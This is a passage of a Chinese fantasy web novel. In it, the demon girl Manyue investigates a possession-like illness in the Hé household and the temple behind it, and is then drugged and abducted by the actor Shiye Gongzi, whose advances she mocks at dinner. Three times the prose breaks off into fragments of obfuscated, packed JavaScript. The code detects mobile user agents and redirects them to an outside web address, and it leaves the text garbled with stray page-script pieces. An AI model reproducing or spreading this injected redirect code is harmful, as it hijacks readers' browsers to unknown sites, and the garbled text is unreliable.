满月心一惊,她倏地抬眸,那血红之雾已然不见了,就好像只是她凭空产生的错觉。 与先前在娘娘庙时一模一样。 满月来回眨了好几次眼,依旧什么都没有。 但这事发生一回还能勉强说她是看错了,但发生两回,这其中断然有问题。 满月轻轻蹙起眉。她向后退了几步,没留神,撞在了一位路过的侍女身上。 “抱歉。”满月回头,那侍女手里端着托盘,盘子里盛着药盅和一方小木雕。那木雕看起来刻的是一位女子,只是背对着她,看不清楚面容。 侍女不敢抬头,略一颔首,就匆匆离去。 满月目送着侍女离开,越来越感到这里的古怪,她见周遭没了旁人,悄悄放出来小肥啾。 小肥啾抖擞了下羽毛,这段时日数它过得最好,毛发都油光水滑,看起来比在三危山时还要精神百倍。 满月低声嘱咐了几句,小肥啾牢记她的话,点点小脑袋,一展翅膀飞走了。 * 风吹过,檐下的纱幔一层又一层,如涟漪一样轻轻被吹动。 程南楼取下方才布在檐下的四方符,符纸干干净净,除了丹砂写就的符箓,不染半点妖气鬼气。 何府管事屏气凝神地侯在一旁,见他不说话,按捺不住,小心翼翼地询问:“如何?” 程南楼将符纸收起,摇了摇头。 这四方符是探查妖鬼之气最常用的手段。 何府管事略有些失望,但他还是强忍着没表现出来,客气笑道:“不着急,道长慢慢看。” 程南楼不言,他扫了一眼房梁,敛眸道:“可否让我见一见何姑娘?” 何府管事忙不迭应下:“自是可以,道长稍等片刻,容我进去禀报一声。” 言罢管事三步并做两步进了里间,不多时一位妇人打扮的女子走了出来,衣着华贵,面上透着经年累月积攒的倦容,不用讲便知她的身份。 程南楼静等在庑廊下,遥遥望去只见他立如芝兰玉树,昭昭分明。 何夫人一见到程南楼,就如见了救命稻草一般,她快走几步迎上来:“道长请进。” 程南楼不见应来的人,有些奇怪:“何姑娘她……” “容儿今日难得没有犯病,才将吃了药,现下在暖阁里待着。”何夫人稍一踌躇,才继续道,“依着礼数,自是该让她来见一见道长才对。只是容儿她三年前病后,性子变得古怪许多,要她来,她是断不肯来的,只能劳烦道长亲自去一趟。” 程南楼颔首,并不在乎这些虚礼。 何夫人引着他入了暖阁。 盛夏时节,暖阁里放着冰釜降暑,瑞兽纹香炉里熏着提神醒脑的薄荷冰片,空气中有着丝丝缕缕的凉甜。 他们刚一踏进暖阁,迎面便有一只白瓷花瓶砸了过来。 程南楼抬手接住。 “说了别再找那些江湖术士来,为何不听?”隔着轻纱帘帐,少女的身形影影绰绰,语气带着显而易见的恼怒。 “容儿,这位道长和以前那些人不一样的,你好歹见一见。”何夫人柔声劝慰。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995445|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“每一次你都是这样说。”少女倏地站起身,她赌气似的一把撩开帘帐,最先映入眼帘的是程南楼。 程南楼着实是一副好相貌,少女看得愣了一愣,但很快就反应过来。她放下了帘帐,语气仍是未消的余怒:“我不见,我没什么事,不需要见这些人。” 何夫人年过三十才生下自己这个唯一的女儿,一向极为宠爱,眼见何小姐的态度如此强硬,她一时不知该如何是好,为难地看向程南楼。 程南楼将手里的白瓷花瓶轻轻放在一旁的博古架上,他不语,只抬手祭出四张四方符。 符纸被稳稳当当贴在了檐下四角,片刻之后他收回,符纸与之前一样,仍旧是干干净净,没有沾染丝毫的妖鬼之气。 这里也没有异样。 何夫人打量着他的神色,忐忑不安:“道长可瞧出些什么问题?” 程南楼依旧是摇了摇头,如实答道:“没有。” 里面的何家小姐听到他的回答,嗤笑一声,语气更恶劣了:“我就说他们都是一群只知骗钱骗财的江湖术士罢了,能看出什么来?要我讲,还不如……” “容儿!”难听的话未说完,何夫人眉尖一蹙,厉声呵止了她。 何夫人少有这样动怒的时候,暖阁里任性的少女止了声,片刻之后,一张琴砸了出来,落在地上四分五裂。 “滚,都滚!我谁也不要见!”少女歇斯底里地,继而她尖叫起来,像是看到什么东西一样,拿起手边的东西纷纷砸过去,全然没了刚才正常的模样,“别过来!别过来!滚啊!” 少女喊破了音。门口的何夫人脸都白了,她慌忙进去,一把扯掉碍事的帘帐,抱住摔在地上身体抽搐的女儿,喊道:“快,快来人!” 跟在何小姐身边伺候的人显然经历多了这样的场面,她们有条不紊地将一早备下的东西端上来,用布条塞在何府小姐口里,防止她咬到舌头。 不用讲也知,她这是又犯病了。 程南楼走到何府小姐身旁,但见她翻着白眼,四仰八叉地僵挺着,不断抽搐,口中泛出白沫,嘴唇翕阖抽动,像极了民间传闻中被厉鬼上身的模样。 程南楼在她脖颈两侧轻点,何小姐眼一闭,晕了过去。 何夫人早哭得泣不成声:“道长,她……” 程南楼却没空理会何夫人,他仔细检查了何小姐周身,又将四方符置于她额上,须臾收回。 符纸同样空空如也。 并没有被妖鬼之气侵袭。 程南楼眉头紧锁,他盯着已安然睡去的何府小姐,素无波动的眸中难得泛起几分波澜。 将才何小姐砸东西的动静太大,许陈仓玄妙俱被吸引了过来,见程南楼安然无恙,才不动声色松了口气。 “师兄。”许陈仓快步走上前来,自然而然地接替过程南楼的位置,替何府小姐诊起脉来。 “令千金身上着实有古怪之处。”程南楼抬眼,看着低头拭泪何夫人,神情严肃,“只是在下才疏学浅,一时并不能看出究竟。可否让我留下观察几日?局时定然还令千金一个说法。” 42. 042 侍女提着灯走在前面,夏夜暖风骤起,夹杂着馥郁的桂花香气。 满月跟着她后面,终于想起这香味她曾在何处闻到过。 在娘娘庙看戏的时候。 满月想起那团不知是不是错觉的血红之雾,抬眸望了一眼隐在昏暗中的深深庭院,不觉对这个地方更添几分戒备。 到了地方,侍女推开房门,屋内已经点上了灯,煌煌亮如白昼。 这虽是一件客房,陈设却极为用心,字画古董,纵然不懂行,也瞧得出不是凡品。 “姑娘今夜就歇在这里罢。”侍女将门阖上,留下满月一人。 何小姐身上的病症迟迟找不出原因,程南楼他们决定多留几日观察下情况。 有陈昇的前车之鉴在,满月这次学乖了,不管是不是真的,只将自己看见的原原本本告诉了陈仓他们。 程南楼听了她的话仔细检查了那株金桂树,却并没发现异样之处。 满月不死心:“当真一点异象都没有吗?” 许陈仓摇摇头:“我和师兄一人检查了一遍,确实没有。” 陈仓以为满月是因为陈昇的事有了心理阴影,安慰她道:“我和师兄在这府中里里外外都布了阵法,但凡有任何妖邪之气,都不会放过。” 陈仓都这样讲了,满月只好不再追究。 用过晚膳后,他们继续去府里其他地方查看,满月则先来何府留宿的地方休息。 她手托着脸,坐在案几前发呆。 听到窗户传来声音,满月精神一振,支起窗子,小肥啾正站在窗棂上。 满月把它抱回来,小肥啾铺抖擞了下羽毛,将自己看到的啾啾啾巨细无遗讲给她听。 没有发现何府与娘娘庙之间的联系吗? 这也在意料之中,若是二者之间的关系这么容易发现,也不劳她大费周章了。 满月将心头那种不祥的预感强行压了下去,暂时不再去管。 她做了一晚上的噩梦,她梦见庭院里的那棵金桂树成了精,在后面追了她二里地,最后张开血盆大口,将她整个吞没。 满月倏然惊醒。宿在外间的陈仓一向觉轻,也跟着醒过来:“满月?” “我无事。”满月怕打扰到她,没敢再动。她的目光移向床头,小肥啾缩成小小的一团,嘴插.在肩羽下,睡得正香。 早膳时不见程南楼,玄妙这几日跟着他师兄师姐忙前忙后,虽没帮上多少忙,却着实累得够呛,恹恹一副没睡醒的样子。 许陈仓往玄妙碗里夹了他最爱吃的凉糕。别的不说,何府家厨的手艺倒是一绝,密云城的特色吃食样样精通,足不出户,就尝遍了城中的美食。 “你今日好好休息,不用再跟着我们了。”许陈仓道。 玄妙一听来了精神,他张大嘴将凉糕塞了半个进去,含含糊糊道:“我好得很,不用休息。” 陈仓挑了下眉,也懒得再管他。 满月因着昨晚的梦而心神不宁,筷子没动几下,她想了想,还是道:“你们昨日寻出什么问题了吗?” 许陈仓摇了下头:“还没。” 满月斟酌了下措辞,缓缓道:“以前找来的除妖师也瞧不出原因,或许真的是那位何小姐得了什么古怪的病,并非其他缘故?” “我看过她的脉,就算发病的时候也并无异象。”许陈仓轻蹙了眉,思索着这其中的古怪,“可她的表现,明显是因邪祟之故。” “那有没有可能是她故意这么表现?” 许陈仓这次回答得很果断:“不可能。” 满月:“为何?” “她发病时连气息都变了,俨然换了个人似的,这绝非装能装得出来。”许陈仓解释。 这完全是附身之相。 但诡异就诡异在却探查不出一点妖鬼之气。 满月陷入沉思。 许陈仓道:“若再有两日找不出原因,我就先送你和玄妙回盛京,让南楼师兄一人留在这里。” 玄妙无辜被波及,嚷嚷道:“为什么我也要回京中?我不,我想留下来和师兄一起!” 满月倒不光是为这个。她只是深觉此地危险,今早上的梦更加深了她的危机感。 不过陈仓这个提议挺好的,程南楼有主角光环在,遇事多半有转机,能先带走她和玄妙也算不错。 满月点点头。 两人俱是无视了玄妙的抗议。 “你这两日要是闲得无聊,可以出去逛一逛。”陈仓对满月说道,“反正戴着帷帽,也不怕被人发现你的身份。” 满月正有此意。 或许出去转转,能得到预想不到的消息。 待过了正午最热的时候,天气稍稍凉快些,满月将小肥啾留下,独自出了门。 没有庙会,城中行人仍旧不少,尤其娘娘庙前,不少年轻女子结伴入庙求签文秘方。 满月站在树后稍隐蔽一些的位置,将施了妖术的几只纸鹤放了出去。纸鹤迎风飞起,化作几只小麻雀,扑扇着翅膀进了娘娘庙。 这娘娘庙处处透着古怪,满月不放心让小肥啾去,只是她妖力微弱,这几只纸鹤不知能坚持多久。 若是小灯在就好了。 满月目送着小麻雀飞入庙门,为了不待久了引人怀疑,她决定去旁边的铺子看看打发时间,顺便等纸鹤回来。 娘娘庙周围行人最多,铺子也鳞次栉比,香铺,绸缎铺,成衣铺,目不暇接。 香铺架子上陈列着不同品种的香料,均置于瓷盅之中。满月用香箸取了些鹅梨帐中香,还没来得及掀开帷帽去闻,肩膀被人撞了下,香粉洒在了台面上。 满月回头,但见撞她的是个年轻男子。 那男子手里捧着包香料,行色匆匆,撞了人也不道歉,反而眉头紧锁地瞪了眼她,像是嫌她碍事,好端端怎么出现在路前。 好没礼貌一人。 吐槽归吐槽,满月并不打算伸张正义。 她刚要收回视线,忽的有人伸出手,拦住了撞她的男子。 “阁下这样失礼,怕是不太好吧。” 清越仙气的声音之中带着些许漫不经心的笑意。 满月倏然抬眸,果不其然拦在男子身前的,正是她之前见过的那位十夜公子。 十夜公子今日换了件漆黑如墨的玄衣,领口银色滚边,袖边绣祥云纹图腾,戴着顶镶嵌蓝玉宝石的银冠,相较于上次见面的缥缈若仙,这次更显几分矜贵之气。 满月攥着香箸的手不觉一紧。 “十,十夜公子。” 撞人那人显然也认识这位身负盛名的十夜公子,将才还盛气凌人的态度,瞬间软化下来。 他立时变了副嘴脸,点头哈腰道:“我也是有事急着走,不小心的。” “纵然不小心,也该和人家姑娘赔礼道歉才是。” 十夜公子笑意温和,话虽如此,却丝毫没有咄咄逼人之态。 撞人男子连忙对着满月作揖:“在下眼拙,没瞧见姑娘在这边,一时不留心冲撞了姑娘,实在多有得罪,多有得罪。” 满月原本也不怎么当回事,点头承了他的歉意,这事就算作罢。 反而让满月感到惊奇的,倒是这人对十夜公子的态度,竟如此恭敬有加。 男子道完歉后告辞离开,十夜公子这才将目光放在满月身上。 他天生一双桃花眼,戏台上含情脉脉,下了台照旧是眼波流转,不经意间总有种深情款款的错觉。 “小卓姑娘。”十夜公子微微颔首,算是行了礼,“我原以为你已经离开了密云,不想今日竟然再次遇见,还真是巧。” 满月也笑:“确实巧,我有事耽搁,在此多留了几日。公子有怎么会在这儿?你名声这样响,不怕被人知道了堵在这里?” 十夜公子闻言轻笑着摇了下头,语气中似有些无奈:“这是我的铺子,我又如何会让人堵了我?若这里都待不得,那我更没去处了。” 这原来是十夜公子的商铺? 满月打量了一眼四周,刚刚还没注意,现在才发现铺里装潢得富丽堂皇,一看就造价不菲。 这十夜公子真是个有钱人。 十夜公子含笑望着她,出手很是阔绰:“小卓姑娘可有什么看上的香料?既如此有缘,我自然得做东送你。” 满月放下香箸,摇了摇头:“我对香料并无喜好,不过是路过随意看看,不劳破费。” “不喜香料……那衣服首饰呢?”十夜公子展开手边的折扇,慢悠悠扇了扇,继续道,“隔壁的成衣铺首饰铺刚好也是我名下的,若感兴趣,小卓姑娘不如去瞧一瞧有没有喜欢的?” ……这漫不经意间的炫富。 满月又在心里默默仇富了一把。 她摆摆手:“那也还是不必了,我不太需要。” 在满月看来,这是再客气不过的推辞,可十夜公子似乎没怎么被拒绝过,接二连三的打击,令他温柔的笑容陡然变得落寞起来。 他瞧着满月,眸中盛满缱绻悱恻的柔情与楚楚可怜的无辜,活像一只湿漉漉被人抛弃的小狗,小心翼翼道:“小卓姑娘……是不是不怎么喜欢我?” 满月:? 这怎么看出来的? 满月理解不了对方有病的脑回路,解释道:“不是的。公子的好意我心领了,只是我还有旁的事……” 不好多留四个字未出口,十夜公子却似是听到什么想听的话。他眼睛亮了亮,眉眼间的失意顷刻间荡然无存。 “不是不喜欢。”他垂眸望着她,明明隔着帷帽看不到她的脸,桃花眼中的深情却半分不减,犹如深潭一般,将人吸附其中,“那小卓姑娘,就是喜欢我了?” 满月:“……” ……这男人被油炸过吧。 满月这辈子都没有接过这么油腻的话茬,她站在原地,一时只剩下无语。 十夜公子见她这副模样,略显尴尬地笑了一下。他清清嗓子,眼眸中黏腻的多情瞬时消散无影,终于是恢复了正常:“这是我新戏文的一句台词,小卓姑娘上次讲不喜欢我的戏,我才想试一试你。小卓姑娘觉得这次的如何?” ……这次的也不如何。 满月无言以对。 她实在说不出违心的客套之词,只好模棱两可道:“十夜公子觉得好,那便是好。” 言毕她转头瞧了眼外面的天色。 算算时间纸鹤差不多也该回来了,她不想再跟眼前的人无谓地纠缠下去,趁此机会打住:“我还有事在身,今日就先不叨扰了。” “且慢。”十夜公子喊住了她,“小卓姑娘既要再留密云几日,可否告知在下姑娘的下榻之处?姑娘于戏文颇有造诣,若得空,我想亲自登门拜访。” ……这人是从来没被差评过吗? 她差评一次,他就这么缠着她。 “……我留宿在熟人处,恐不方便拜访。”满月今天第三次拒绝他,“况且不日我就要离开密云城。十夜公子,就此别过了。” 说完她转身离开,下了几层台阶,又听身后道:“小卓姑娘。” 满月回眸,一股不合时宜的风吹起,夹杂着略有些甜腻的金桂香气,掀起遮在她面容前的帷帽一角,露出她半张脸。 “怎么了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995446|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>风止息,帷帽落下来,重新回到了原位。 “无事。”十夜公子笑着朝她作了一揖,“就此别过。” 十夜公子这次先她一步离去,没再回头。 满月只觉莫名其妙。 她悄悄躲回刚才的树下,双手结印施法,不多时先前混入娘娘庙的小麻雀间错飞了出来,落到满月手中,一一变回了纸鹤。 满月妖脉断绝,术法一向不精。这原本是三危山学典教习的显影术,用来实况监视,可她只能习一半,索性自由发挥,改成了纸面记录。 纸上记着的,正是短短半日里娘娘庙发生过的事情,桩桩件件,巨细无遗。 满月一目十行扫视过去,不过都是些进庙祈福之类的日常小事,并无特别之处。 正当满月考虑着要不要再放一些纸鹤进去,她看到下面一行,突然停住了动作。 【申时三刻:黄衣女子带一木雕前来供奉,道姑将木雕带去后院密室中,一炷香工夫出来,交还黄衣女子,黄衣女子称木雕为娘娘像。】 纸鹤本就是由显影术演化来的,对于它看不到的地方,比如那间后院密室,它也无法记录里面究竟发生了什么。 满月忙又往下看,后面再没有与此类似的记录,往前找,同样不曾有。 只有这一处。 满月翻回来重新看了一遍。 ……娘娘像。 刚入何府的那日,她曾不小心撞到过一个侍女,当时侍女端着的托盘商,好像就放着一尊小木雕。 满月福如心至,瞬间就将前因后果打通了联系起来。 陈仓说,何小姐身上并无邪祟之气,但又有附邪之相。令他们百思不得其解的点正在这里。 可若附身的确实不是邪祟……而是邪仙呢? 原著的世界观设定里,无论是人是妖,破除心相,皆可成仙。但成仙的同时也意味着完全脱离这个世界,不可逗留于此,亦不能直接现身影响此界,违者自得天谴。 所以在这个世界,要见到真正的仙人并不容易。而原著之中,恰好有一个得道成仙的大妖因心魔沦为堕仙,以仙身留在此界,借助命魂珠的力量才得以暂时逃避天谴。 满月抬头再度瞧向不远处的娘娘庙,黄昏已至,暮色四合,恢弘的殿宇之顶映在晚霞之中,神圣仿佛不可侵犯。 如果她猜得不错,他们又提前误入了原著的副本。 而且还是大后期地狱难度级别的副本。 满月将纸鹤重又叠起,心情十分沉重。 她正要收起纸鹤离开,一转身,却不知身后何时悄无声息站了个人。 满月的心一下跳到嗓子眼。 她捂着胸口,好在反应够快,强装镇定,若无其事道:“……公子怎么在这里?” 来人正是不久前才刚和她道了别的十夜公子。 十夜公子面带笑意,大约因为离得近,他居高临下地瞧着她,语气有种开玩笑一样的亲切:“这就是小卓姑娘说的‘有要事在身’?” 满月悄悄将纸鹤攥在手心,面上旁若无事地应付道:“我想着娘娘庙这附近的糖人好吃,原准备带几串回去给家弟尝尝,不曾想今日没出摊,倒是不巧了。” 说着,满月挪开几步,拉远了与这位古怪兮兮的十夜公子之间的距离。 她巧笑嫣兮:“这次真的要告辞了,公子你慢慢逛,我就不打扰了。” 满月说完就要离开,她没走几步,身后传来十夜公子慢悠悠的声音。 “小卓姑娘何必走得这样急,你将才拿到这小东西,难道就没来得及数一数,是不是少了一只?” 他话里是明晃晃的笑意与讥讽。 满月脚步一顿,一股寒意顺着她的脊椎骨蜿蜒向上,所过之处一片冰冷。 她缓缓转过头,正要佯装懵懂不知对方在说什么,却见十夜公子含笑看向她,指间夹着的,是她之前放出的纸鹤之一。 原来……还少了一只。 满月微微用力,在掌心的那只纸鹤间刻下痕迹,随后她惊慌失措地退后两步,手垂落身侧,纸鹤顺着她的袖口落在地上。 “这,这不是我的东西。”虽然戴着帷帽看不到她的神情,可声音的微颤还是泄露了她的慌张。 十夜公子瞧着她,半是怜爱半是惋惜。 他上前几步走近她,手轻轻划过她面前的白纱,语气缱绻:“你错就错在太过聪明,我原想着处理掉你身边那三个碍事的修士再接你过来,为什么不肯乖乖地待在那里,什么多余的事都不做呢?这般任性,我可拿你如何是好。” 他话中无端的亲昵令满月起了一身鸡皮疙瘩。 她没忍住打了个寒颤,即便在陆宴白手里千锤百炼,也还是没法装下去:“……大哥你有话好好说。” 十夜公子眼中的多情不减分毫,他掀起帷帽,这次满月没能再拒绝他。 没了这层碍事的阻碍,他终于能和眼前的人四目相对。 十夜公子痴迷地瞧着满月的脸,少女初初长成,还带着些稚嫩的婴儿肥,她一双眼睛最是好看,形状像花瓣一样,眼尾略翘,瞳仁黑漆漆的,浸着莹润的光泽,可想而知笑起来时会多么可爱,然而现在其中只有一览无余的戒备。 “嘘。”十夜公子俯身靠近她,他呼吸间的热气喷洒在她小巧的耳垂上,危险又暧昧的气息如附骨之疽,如影随形,“你睡一觉,睡醒了,就到该到的地方了。” 闻着他身上那股甜腻馥郁的香气,满月头渐渐有些发昏,一阵困意袭来,眼皮似被灌了铅,止不住地下坠。 她身体一软,就这样倒在了十夜公子怀中。 43. 043 甜腻馥郁的金桂香气萦绕于鼻尖,经久不散。 满月迷迷糊糊地睁开眼,入目的是层层叠叠的鲛绡纱罗帐,华贵非常。 她还没想起发生了什么事,就看到一只骨节分明的手撩起罗帐,向她探了过来。 满月倏然一惊,清醒过来。 她赶忙起身,那只手的主人见她醒来,只将帘子挂起,笑意盈盈地在瞧着她:“你醒了?” 满月下意识将手伸向自己的袖子,一摸却落了个空。 她的袖中乾坤没了。 “你在找这个吗?”十夜公子不紧不慢地摊开手,她的乾坤袋正悬在他指间。 满月一怔,赶忙抬手去夺。十夜公子似是早料到她会如此,轻轻松松地便躲过。 十夜公子将她的乾坤袋收进自己的袖子里,面上笑意不减:“你这东西危险,还是我暂且替你收着吧。” 满月之前为了传递消息,没来得及拿出陆宴白给她的符箓就被迷晕,她平日里将那些符箓视为珍宝,轻易都不舍得拿出来,现在倒好,竟是竹篮打水一场空。 失去了唯有的依仗,满月反而冷静下来。她冷冷看着十夜公子,直截了当道:“你抓我来这里,究竟为了什么?” 十夜公子抚了下眼角那颗妩媚多情的泪痣,看她就像看一只炸了毛的小狗,一点没放在心上,只笑道:“对我不要有这么大的敌意,我带你来这里,不过是窈窕淑女,君子好逑罢了。” 满月还是不适应他的说话方式,摸了摸发冷的胳膊:“……你正常点。” 十夜公子呵呵一笑,他转了下手中的折扇,略一抬手,用折扇轻佻地挑起满月的下颌:“简单点说,自然是因为我看上你了。” 满月:“……” 想杀人的心就快要按捺不住了! 满月可不想陪这个脑子有坑的奇葩上演戏本子里的桥段。她面无表情地一把挥开抵着她下巴的折扇,道:“你不是人,是妖?” 十夜公子笑意不变:“你不也是吗?” 满月这才想起她早没了帷帽做遮掩。可一眼就能瞧出她的真实身份,看来这个十夜公子的来头不小。 难道真的和堕仙有关? 满月不动声色瞧着十夜公子:“何家的事和你有关系?” 她话一说完,十夜公子就扑哧笑出了声,他转了下折扇,收了回去:“是与不是,你觉得我会这么轻易就告诉你吗?” 但这样的回答无异于承认了满月的问题。 她早就觉得这密云城不对劲! “自来进了密云城的修士,没一个能离得开的,你虽不是修士,但与他们走得太近了,按理说也是逃不过的。”十夜公子眼波流转,俱是多情,“公子我是救了你一命,懂吗?” 满月闻言紧张起来:“你要对他们做什么?” “那看来你还是没懂。”十夜公子似有些头痛,他用折扇点了点她的额头,“不过没事,时日一久,该明白的你自然会明白。” “小桃,梦竹。”十夜公子扫了眼身后,从中点了两个人。 两名穿着粉色衣衫的侍女走了出来。 十夜公子用折扇敲了敲掌心:“日后就由你们两个来服侍小卓姑娘。” 满月看向十夜公子:“你……” “不要再讲那些扫兴的事了。”十夜公子笑着,语气温柔,“你先好好休息,等晚上我再来看你。”说完,他摸摸她的头,就抬步离去了。 十夜公子一走,他身后乌泱泱跟着的一群侍女也跟着作鸟兽散,只剩将才的梦竹和小桃留了下来。 两个侍女之中,小桃年岁小,只有十三四的模样,看上去性子很是活泼,乌黑的眼睛滴溜溜转来转去,总时不时悄悄打量满月,似乎对她很感兴趣,梦竹年纪大一些,看起来二十岁左右,不说话时就垂眼静静站在原地,性格稳重许多。 十夜公子走后,她们便上前来。 梦竹正要替满月解衣服,满月回过神,慌忙按住了衣襟:“你要干什么?” 梦竹似乎对这样的状况司空见惯,她波澜不惊道:“小卓姑娘,我来服侍你更衣。” “……不用了。” “可是晚上……” “那等晚上再换也不迟。”说着,满月用被子裹紧了自己,缩成一团,“你们能先出去一下吗?我想自己待一会儿。” 梦竹见她态度强硬,略微迟疑了下,最后还是带着小桃先离开了。 等门阖上,满月警惕地探头逡巡一圈,确认真的没了人,她才翻开自己的袖子。 满月结印施法,未几,两张被整整齐齐封在袖子里的符箓显现出来。 还在。 满月松了口气。 她就是害怕这种情况发生,所以将两张符箓缝在了袖子里,又施了障眼法,除非仔细查看,否则轻易很难察觉。 满月把符箓拆下,塞到了枕头下面,想了想又觉得不够严密,思索了片刻,最后藏在了垫子最下层才算妥当。 * 写完最后一笔,十夜公子停了手。 他将笔放回沉香螭龙笔架上,一抬眼,发现早已是点灯时分。 十夜公子端起茶盏刚要喝,一旁的侍从赶忙上前来,替他换了新沏的茶。 “都准备好了吗?” “都照公子的吩咐传达下去了。小卓姑娘一个时辰前就被带去凉亭等着了。” 十夜公子嗯了一声,站起身由着侍从替自己更衣。 侍从接着道:“依我看,公子这次还挺喜欢那位小卓姑娘的,为何还要故意晾着她?” “不晾着她,她怎么能知道公子我的好?”十夜公子觑他一眼,笑着摇了摇头,“同你说了,你也不懂。” “小人愚笨,自然不及公子所思。”侍从点头哈腰,笑嘻嘻道,“不过公子似乎对小卓姑娘格外上心。” 十夜公子想起她三番两次拒绝他的模样,不觉轻笑出声:“她很可爱,不是吗?” 侍从见他心情很好的样子,也跟着打趣起来:“这要是被二仙姑娘知道了,那可了不得了。” “多嘴。” 话是这么说,十夜公子却并没有半分责备的意思。 他今日心情确实好得离谱。 一方面,何府的事一切如他预计照常进行着,想必不用多久就能有结果,另一方面,新得的小卓无论脾气还是相貌,都甚合他的心意,这才是更为难得的事。 另一边,早在华灯初上,满月就被梦竹洗漱打扮一番,带去了花园里的一处凉亭。 檐下点着样式漂亮得花灯,亭子四面挂了薄薄澄水帛,夜风徐徐吹来,宛如流水一般波光粼粼。 满月换上了鹅黄小衫月白长裙,衣服的绣工极为精致,金银线十字暗纹,不动则以,动起来熠熠发光。她的头发被束成繁复的双环编发,簪了步摇与珠花,要平日里不施粉黛的灵动,更添了几分明艳。 满月手托着脸,等得百无聊赖。不知等了多久,迟迟不见人来,她渐渐感到不耐烦,好几次撩起帘子往外看,想知道十夜公子什么时候才能过来。 这时外面才有一个小侍女过来,附在梦竹耳边不知说了什么,梦竹走进来:“小卓姑娘,公子他那边有点事,可能要晚点过来,公子说若是姑娘饿了,先用膳即可。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995447|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >满月听罢挑挑眉,没什么太大反应:“那我先吃了?” 反倒是梦竹看她应得这么爽快,不禁愣了一下。 满月倒也不客气,被十夜公子抓到这里差不多一整天,除了几块点心,还没进过食,早已是饥肠辘辘。 桌上鸡鸭鱼肉样样不缺,除此之外还有各种山货点心。 满月看着满桌的盛宴,暗叹果然是个有钱人。 这么铺张浪费,当心遭雷劈。 满月别的不行,适应力却是极强,短短一个下午,她已全然接受了目前的处境。此时更是一点心理包袱都没有,一手一个烧鸡鸡腿大快朵颐。 做人何必要跟自己过不去呢。 她吃得正香,澄水帛忽然被人撩了起来,还没见人,一股甜腻的香气就先扑鼻而来。 满月皱了皱鼻子,还是有点闻不惯。 新换了一身骚包白衣的十夜公子终于姗姗来迟。 十夜公子原以为满月被晾这么久,定然早该坐立难安才是,没想到一入眼,却是她腮帮子鼓鼓囊囊,吃得满嘴油光的模样。 他面上的笑容几不可察地一僵。 满月拿着大鸡腿,圆圆的眼睛瞧着十夜公子,眸子澄澈,坦坦荡荡的,没有半点尴尬。 她抬了抬另一只油乎乎的爪子,算是打招呼:“你来了。” 十夜公子没忍住嘴角一抽。 他尽力保持着面上的风轻云淡,笑着用折扇敲了敲玉台面:“好吃吗?” 满月点点头,发自内心地称赞:“好吃!!” 这是真心话。 她在这个世界,从小到大都没吃得这么好过。 十夜公子看着她油乎乎还挂着油渣的手,喉结滚了滚,一点胃口都没有了。 他的笑容有些微僵硬,不过片刻就又恢复如常。 十夜公子不动声色地在一旁坐下,半开玩笑半认真地打趣她:“你的胃口倒是不错,怎么,又现在不怪我把你抓过来了?” 满月不以为然:“怪又如何?再怪不也得吃饭?不过说起来,你们家厨子手艺当真不错,要不你也来一个?” 语毕,她就拿起一只鸡腿朝他递来。十夜公子眉头一皱,直觉不好。他还没来得及拒绝,满月就先手一滑,大鸡腿子掉下来,刚刚好落到他袖子上。 “不好意思不好意思。”满月赶忙捡起来,滑跪虽快,话里却没有一点歉意。 一尘不染的白衣留下一大片油腻腻的印子。 十夜公子额角微微跳了跳,拿着折扇的手倏然一紧。他按捺住拔腿就走的冲动,深深吸了一口气,才勉强平息下来。 他扫了眼一旁跟着他的侍从,声音几乎是从牙缝里硬生生挤出来的:“今日是谁定的菜肴?” 侍从垂下头,声音小的仿若蚊子在哼:“是公子你……亲自定的。” 十夜公子:“……” 他全然不记得这件事。 也难怪,这样微不足道的小事,他向来不放在心上,而被他带来这里的女子,注意力也绝不会在这上面。 他花前月下的旖旎心思顷刻间荡然无存。 十夜公子盯着大快朵颐丝毫不在乎形象的满月瞧了好一会儿,他眯了下眼,微微笑起来,只是笑意却不达眼底:“你是在故意恶心我吗?” 满月笑眯眯地弯起眼,眼里写满了无辜:“怎么会,是真的很好吃。你信我嘛,来,尝一尝……” 这次不等她再动手,十夜公子就先条件反射地从座位上弹开,待看到满月举着鸡腿一脸乐开了花的笑容,他方才后知后觉自己是被耍了。 这下十夜公子彻底笑不出来了。 44. 044 十夜公子满脸阴沉地看着满月,后者眨眨眼,甚是无辜。 十夜公子深呼吸几息,片刻,他勉强笑了笑,留下句“你好好吃吧”就一打帘子离开了。 透过澄水帛,满月瞧着十夜公子狼狈逃离的背影,眉梢眼角的笑意止也止不住。 没想到这人还有洁癖,倒也算是个弱点。 随着十夜公子的离去,凉亭外候着的侍从散了大半。梦竹还从未见过有人在自家公子面前如此做派出格,一时有些不知该说什么好:“小卓姑娘……” 